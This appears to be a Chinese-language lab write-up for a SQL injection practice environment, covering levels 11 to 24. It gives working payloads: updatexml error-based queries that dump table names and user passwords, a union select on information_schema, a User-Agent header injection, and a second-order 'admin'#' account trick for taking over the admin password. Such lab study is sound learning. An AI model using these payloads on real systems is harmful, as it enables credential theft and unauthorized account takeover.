开始的注入方式,前面一篇1~10的部分有讲,所以这里就略过了
11,12————基础注入
13,14————报错注入
15,16————盲注
(注意,在用户和密码界面中输入1是错误的,所以不能用and,而要用or来确保命令正确)
17————报错注入
需要注意:
1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) -- r
//开始出现对于‘users’的报错,需要对其创建一个新的别名“aaa”(很重要)
1' and updatexml(1,concat(0x7e,(select group_concat(password) from (select password from users) as aaa),0x7e),1) -- r
//完善一下:使其可以看到其他部分的字段
1' and updatexml(1,concat(0x7e,substr(((select group_concat(id,username,password) from (select id,username,password from users) as aaa)),32,1234),0x7e),1) -- r
18————需要用到Burpsuite
在User-Agent行进行注入,注意用1',2,3) -- r 闭合,因为源码中注入点为
-- r注释掉后面的'、参数和)。需要在命令中补足。
完善及结果:
19,20————与18同理
21,22————与18同理,但需要进行编码
23————手动引号闭合
?id=1' or '1=1
//这样在代码执行时就变成了:id='1' or '1=1',可在or之前进行注入
?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 or '1'='1
//用database()会报错【不知道为什么】;必须有()包裹
....剩下的就是基础注入的步骤
24——此处并非要像之前一样破除跑数据,而是提升用户权限‘admin’
通过创建“ admin'# ”用户,再修改密码:“ ' ”用于闭合命令语句的单引号,“ # ”用于注释掉后面的语句,使得在修改“ admin'# ”用户密码时,自动转换成修改“ admin ”用户的密码,让我们可以通过admin权限登陆系统。
这里我的靶场应该是有问题,无法显示登陆后的界面